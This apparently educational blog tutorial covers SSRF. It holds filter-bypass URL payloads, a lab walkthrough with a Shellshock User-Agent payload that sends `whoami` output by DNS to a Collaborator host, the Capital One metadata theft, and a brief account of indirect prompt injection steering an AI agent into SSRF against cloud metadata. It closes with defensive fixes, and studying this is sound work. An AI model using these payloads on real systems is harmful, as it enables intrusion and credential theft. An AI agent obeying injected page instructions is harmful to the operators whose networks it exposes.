Post cover image

July 22, 2026

SSRF (Server-Side Request Forgery): How It Works, Bypass Techniques, and AI Risks

A web application is a lot like a castle. It’s got WAFs, firewalls, and encryption guarding the front door. This leads many developers to…

By Alperen

8 min read

A web application is a lot like a castle. It's got WAFs, firewalls, and encryption guarding the front door. This leads many developers to assume, 'We're inside the local network, so nothing can touch us.'

SSRF (Server-Side Request Forgery) feeds on that exact assumption. The attack doesn't come from a stranger at the door, it speaks with the voice of the castle's own guard.

What is SSRF and why does it happen?

At its core, SSRF is all about an attacker borrowing the server's identity inside the internal network. The server essentially becomes the attacker's personal servant. And because this servant is already recognized and trusted by the system, it can wander around freely, fetch whatever data is requested, and bring it right back. Nobody stops to ask, "Hey, who are you and what are you doing here?" because it's already a trusted insider.

To dig a little deeper: most internal services(like databases, internal APIs, or backup systems) don't have public IP addresses. An attacker couldn't find them online even if they tried, because they're completely shut off from the outside world. But since the web server lives on that exact same local network, it can see and reach them with ease. SSRF is simply the attacker using that server as a proxy to reach an internal world they'd otherwise be blocked from.

Modern tech stacks actually make this easier. Applications aren't monolithic anymore; they rely on microservices that talk to each other all day long. A server reaching out to another internal service is completely normal behavior, which creates a natural breeding ground for SSRF.

The real kicker, though, is the system's blind trust in anything coming from the inside. The mindset is: "If it made it inside, it must be safe." So the system processes the request and hands over the sensitive data without a second thought. It's this misplaced trust that turns SSRF from a simple request flaw into a critical vulnerability.

Visible and Blind SSRF

There are two main flavors of SSRF:

1. Visible (In-Band) SSRF

With this type, the server hands you the response right on a silver platter. You get to see the actual output directly on your screen, whether that's the HTML code of a hidden admin panel, user lists, or internal files.

2. Blind SSRF

Things get a bit trickier here because the server doesn't show you what's happening behind the scenes. It just returns a generic 200 OK response and acts like business as usual. To catch a Blind SSRF, we try to trick the target server into reaching out to a server we control via a DNS or HTTP request. This technique is called Out-of-Band (OOB) testing, and in practice, we usually use tools like Burp Collaborator to listen for these incoming pings.

Pro Tip:_ Sometimes, you'll only see a DNS request hit your Burp Collaborator without any HTTP request following it. Network firewalls often block outbound HTTP traffic (ports 80/443) for security, but they leave DNS (port 53) open so the app doesn't break. Even if you only get a lonely DNS lookup, the vulnerability is 100% real._

Filters and How to Bypass Them

To bypass security controls, we first have to understand how the defensive side thinks. Defense mechanisms usually rely on filters, which come down to two main logics: Blacklists and Whitelists (Allowlists).

  • Blacklist: Blocks specific pre-defined items and lets everything else through.
  • Whitelist (Allowlist): Blocks everything by default and only lets pre-approved items through.

To put this into perspective with a simple keyword like "user":

  • Blacklist approach: Accepts literally anything except the word "user".
  • Whitelist approach: Rejects everything unless it is strictly "user".

The trick to bypassing filters relies on a parser discrepancy, getting the security filter and the target server to interpret the exact same input differently. For example, if a security filter strictly bans 127.0.0.1, supplying 127.1 instead might slip right past the filter, while the target server still understands it perfectly as localhost.

Bypassing Blacklist

1. Alternative IP Representations

Security filters often look for exact string matches like 127.0.0.1. By feeding the IP address in alternative formats such as decimal, octal, or shorthand notation. We can dodge basic pattern matching. The filter passes it through, and the server converts it right back to the loopback IP.

http://2130706433/admin
http://017700000001/admin
http://127.1/admin

2. Public Loopback DNS (DNS Resolution Bypass)

A security filter might see a domain like localtest.me and happily let it pass because it looks like a harmless, legitimate web address. However, when the server makes a DNS lookup to resolve that domain, the DNS record points right back to 127.0.0.1. As a result, the server ends up sending the request directly to its own local environment.

http://spoofed.burpcollaborator.net/admin
http://localtest.me/admin

3. Obfuscation & URL Encoding

When a filter explicitly blocks sensitive keywords or paths, we can obfuscate them using mixed casing or URL encoding (single or double encoding). The security filter fails to detect the blacklisted keyword, but once the request reaches the application, the server automatically decodes it and processes the intended path.

http://127.0.0.1/aDmIn
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

Bypassing Whitelists

1. Credentials (@) Bypass

In standard URL syntax, anything placed before an @ symbol is treated as user credentials, while everything after it is the actual destination host. A flawed filter might look at the start of the URL, see expected-host, and approve the request. The server, however, treats expected-host as a username and routes the request straight to evil-host.

http://expected-host@evil-host

2. Fragment (#) Bypass

The # symbol in a URL indicates an internal page anchor (fragment). In this case, the filter checks the URL, detects expected-host, and lets it pass. But when the server's HTTP client makes the request, it drops everything after the # character, executing the request solely against evil-host.

http://evil-host#expected-host

3. DNS Hierarchy (Subdomain Bypass)

Domain names are read from right to left in a subdomain.domain.com hierarchy, meaning the actual destination is determined by the main domain on the right. If a filter loosely checks whether a URL starts with expected-host, an attacker can simply register expected-host as a subdomain on their own domain. The filter sees expected-host at the beginning and grants access, but the server routes the request to evil-host.

http://expected-host.evil-host

4. URL Encoding & Double Encoding

If the security filter actively searches for characters like @ or # to block them, we can obfuscate them using single or double URL encoding. The filter misses the encoded characters and passes the input through, but the server automatically decodes them before making the outbound request.

HTTP

http://expected-host%40evil-host
http://evil-host%2523expected-host

5. Combining Techniques

When dealing with tougher, multi-layered filters, stacking multiple bypass methods together often does the trick.

http://expected-host%2523@evil-host

Open Redirect Exploitation

If the target website already has an Open Redirect vulnerability, bypassing SSRF filters becomes significantly easier.

The filter checks the initial URL, sees a trusted, whitelisted domain (targetsite.com), and approves the request. However, once the server fetches that page, it blindly follows the redirect parameter straight to 127.0.0.1.

Example:

http://targetsite.com/login?next=http://127.0.0.1/admin

Lab: Blind SSRF with Shellshock exploitation

We need to check if there is an HTTP header where the system makes outbound requests, and at this point, Collaborator Everywhere makes our job so much easier.

Collaborator Everywhere extension: As you browse the site, this extension generates unique Collaborator links for every request in your HTTP history, injects them into various HTTP headers, and automatically tests if an OAST vulnerability exists.

With Collaborator Everywhere active in the lab, we simply added the target lab to Target → Scope and browsed around the site.

None

A DNS request hit Collaborator Everywhere. When we examined the request in the Collaborator Everywhere interface, we saw that placing the Collaborator link in the Referer header triggered a hit on Collaborator, meaning the server actually makes an outbound request to the URL specified in the Referer header. At the same time, the request was marked in red in the HTTP history.

None None

Then we sent this request to Intruder. According to the Shellshock vulnerability, if we place the following structure into the User-Agent header, it executes the command that follows:

() { :; }; command

We placed the Shellshock payload into the User-Agent field. For everything after whoami., we clicked 'Copy to clipboard' in Collaborator and pasted it:

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

→

User-Agent: () { :; }; /usr/bin/nslookup $(whoami).5qwyjwazazbqfj63mh4yqr9910rrfh36.oastify.com

We set the Referer field to 192.168.0.§1§:8080 and launched the attack targeting 1–255 for this position. Here, whoami runs first to grab the username. Then, it sends a DNS request to our Burp Collaborator server using nslookup.

None

And the DNS request hit the standard Collaborator right along with the whoami output. Since the Referer header reaches out to the network, it acts as our delivery vector, while the User-Agent is our exploitation vector.

None

Here is what happens in short:

The system has an analytics module that takes the Referer header and sends a request to it. While making this request, it also forwards the User-Agent header we provided, which triggers the Shellshock vulnerability on the internal server and executes the command.

Where do you redirect SSRF?

Outside of a lab environment, what is the target for an attacker looking to exploit SSRF in the real world? For systems running in the cloud, the most valuable target is naturally the cloud metadata service at 169.254.169.254.

Cloud Metadata: Cloud metadata contains details about the cloud environment (including IP addresses, machine types, user account information, virtual machine names, etc.). Attackers can exploit an SSRF vulnerability to access this cloud metadata, gather sensitive information about users and cloud environments, and use it to gain unauthorized access to cloud services.

A real-life example of this is the Capital One breach. In this incident, the attacker's workflow was as follows:

  • The attacker first discovered an SSRF vulnerability.
  • Then redirected this vulnerability to the cloud metadata service.
  • Next, stole the WAF's IAM role and temporary access credentials.
  • Using the over-privileged WAF credentials, copied all sensitive data (over 100 million credit card applications) to their own machine.

SSRF in the Age of AI

SSRF is no longer limited to traditional web applications, it can also be exploited in LLMs (Large Language Models) and AI Agents. Combining AI with SSRF poses a significant threat for two main reasons:

  • Autonomous Network Requests (LLM Plugins & Browsing): Modern AI systems can now interact with the outside world. An LLM that makes background requests to summarize a user-provided URL or fetch data from an API can be redirected toward the internal network, just like a vulnerable web server.
  • Indirect Prompt Injection + SSRF Chain: An attacker can inject a hidden prompt into an external web page that the AI is set to visit. When the AI reads this page, it might follow the instructions inside the prompt and trigger an SSRF against 169.254.169.254 (cloud metadata) or an internal network service using the server's own privileges.

In short, when granting AI applications web browsing capabilities, it is crucial not to overlook backend network restrictions (Allowlists / Network Isolation).

How to Fix It?

If the application only sends requests to specific and trusted systems:

  • Use an allowlist: Accept user inputs against a pre-approved list of trusted domains.
  • Do not accept full URLs: Avoid taking complete URLs directly from users; accept only specific parameters or endpoints instead.
  • Disable HTTP redirects: Turn off automatic redirect handling so the server cannot be led to unapproved destinations.

If the application can send requests to any external address:

  • Block internal network and metadata IPs at the network level: Restrict access to private IP ranges, loopback, and metadata endpoints (such as 127.0.0.1, 169.254.169.254).